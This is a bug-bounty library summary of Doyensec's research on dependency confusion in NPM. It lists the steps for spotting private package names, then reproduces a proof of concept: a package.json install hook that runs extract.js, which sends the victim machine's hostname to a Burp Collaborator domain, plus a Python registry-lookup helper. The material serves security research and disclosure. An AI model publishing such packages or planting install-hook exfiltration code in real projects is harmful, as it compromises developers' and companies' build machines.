# Dependency Confusion

Dependency confusion in NPM: private package names absent from the public registry can be hijacked by publishing a higher-versioned malicious package whose install hook executes on victim build machines.

- Payout: Research
- Program: NPM
- Write-up by: Doyensec
- Disclosed: 2022-07-20
- Write-up quality: 6/10
- Original: https://blog.doyensec.com/2022/07/21/dependency-confusion.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2022-07-21-dependency-confusion-html
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:research tech:nodejs technique:oob-exfil technique:recon vuln:dependency-confusion

**Target:** NPM package registry / package.json dependency resolution
**Root cause:** Private dependency repositories are misconfigured so that local package names are resolved from the main public repository; a same-named public package with a higher version wins.
**Steps:**
1. Obtain a target's `package.json` and list dependencies.
2. Query `GET https://registry.npmjs.com/package/<name>`; any status other than 200 means the package is likely private-only (also check scoped names via `~<scope>`).
3. Publish a package with the same name and a higher version to public NPM, with `"scripts": {"install": "node extract.js <project_id>"}`.
4. Install hook runs `extract.js`, which sends an HTTPS request to `<project_id>.<hostname>.<collaborator-domain>` leaking hostname.
5. Poll Burp Collaborator (`https://polling.burpcollaborator.net/burpresults?biid=<key>`) and map callbacks to projects.
**How found:** Reasoned that open-source repos mostly use public deps, so scraped top 50 ElectronJS apps' package.json via GitHub API and scanned ~3k dependencies for names missing from NPM; only one archived repo had a candidate, yielding no real victim callbacks.
**Exploitation:** Attacker publishes a malicious same-named, higher-versioned package to the public registry; when the victim runs npm install/update, the install hook executes on the build or developer machine and exfiltrates data via DNS/HTTP to attacker infrastructure.
**Insight:** Enumerate dependency names against the public registry and treat any non-200 as a candidate; scoped packages are hijackable if the scope itself is unregistered, so check scope existence separately from package existence.

## Proof of concept (copied exactly from the original report)

**Malicious package.json with install hook payload**

```
"scripts": {
 "install": "node extract.js {project_id}"
 }
}
```

**extract.js exfiltration payload via Burp Collaborator**

```
const https = require('https');
var os = require("os");
var hostname = os.hostname();

const data = new TextEncoder().encode(
 JSON.stringify({
 payload: hostname,
 project_id: process.argv[2]
 })
);

const options = {
 hostname: process.argv[2] + '.' + hostname + '.jylzi8mxby9i6hj8plrj0i6v9mff34.burpcollaborator.net',
 port: 443,
 path: '/',
 method: 'POST',
 headers: {
 'Content-Type': 'application/json',
 'Content-Length': data.length
 },
 rejectUnauthorized: false
}

const req = https.request(options, res => {});
req.write(data);
req.end();
```

**Package existence check request**

```
def check_package_exists(package_name):
 response = requests.get(NPM_ADDRESS + "package/" + package_name, allow_redirects=False)

 return (response.status_code == 200)
```

